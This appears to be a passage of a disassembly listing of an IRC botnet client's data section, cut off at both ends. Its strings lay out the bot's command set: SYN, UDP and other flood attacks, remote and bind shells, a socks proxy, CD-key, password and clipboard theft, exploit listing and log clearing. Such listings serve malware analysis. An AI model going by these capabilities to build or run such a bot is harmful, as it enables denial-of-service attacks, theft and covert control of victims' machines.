61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA54 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA74 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA78 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA90 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BAC8 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAE0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BAFC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BB18 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB34 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42BB70 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB94 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BBB4 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBD4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BC0C db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC34 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42BC60 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC7C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC94 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42BCC0 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCE4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42BD10 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42BD3C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42BD60 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42BD9C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDD8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE14 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE50 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE8C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42BEC0 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42BEE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BF18 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF54 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFD4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42C014 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C050 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BFCo ; sub_401ACD+4FA1o aAsn445 db 'asn445',0 ; DATA XREF: sub_401ACD+1BE7o align 4 dword_42C0C4 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 10h aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 10h aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 10h aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 10h unk_42C1A0 db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1D4 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1E8 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1EC dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1F8 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 10h aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 10h aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 10h aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 10h aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C2B8 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 10h unk_42C2E0 db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 10h aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 10h aS_0: ; DATA XREF: sub_401ACD+1662o ; ___:00438004o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 4 aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437C20o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 10h aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 4 dword_42C3A4 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 4 dword_42C3C4 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3E8 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 10h aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 10h aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C438 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 10h aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C480 db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C4B4 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C4C4 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4D4 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4E4 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4F4 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C500 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C50C dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C518 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 10h dword_42C530 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C53C dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 4 dword_42C554 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C564 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 10h dword_42C580 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C590 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 4 dword_42C5AC dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C5B8 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C5CC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5D8 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5E4 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5F0 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C600 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 10h dword_42C620 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C62C dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C640 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 4 dword_42C65C dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C678 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 10h dword_42C6A0 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 10h aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 10h aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 10h aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 4 aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C4Co unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 4 asc_42C74C: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 4 aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42C7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42C7F4 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42C82C db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 unk_42C854 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C898 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42C8D4 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8EC dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8F4 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C910 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C91C dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C920 db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 10h aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42C95C dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C964 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 10h aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C978 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42C99C db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 10h aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9F0 db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 4 asc_42CA5C: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA60: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA64 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 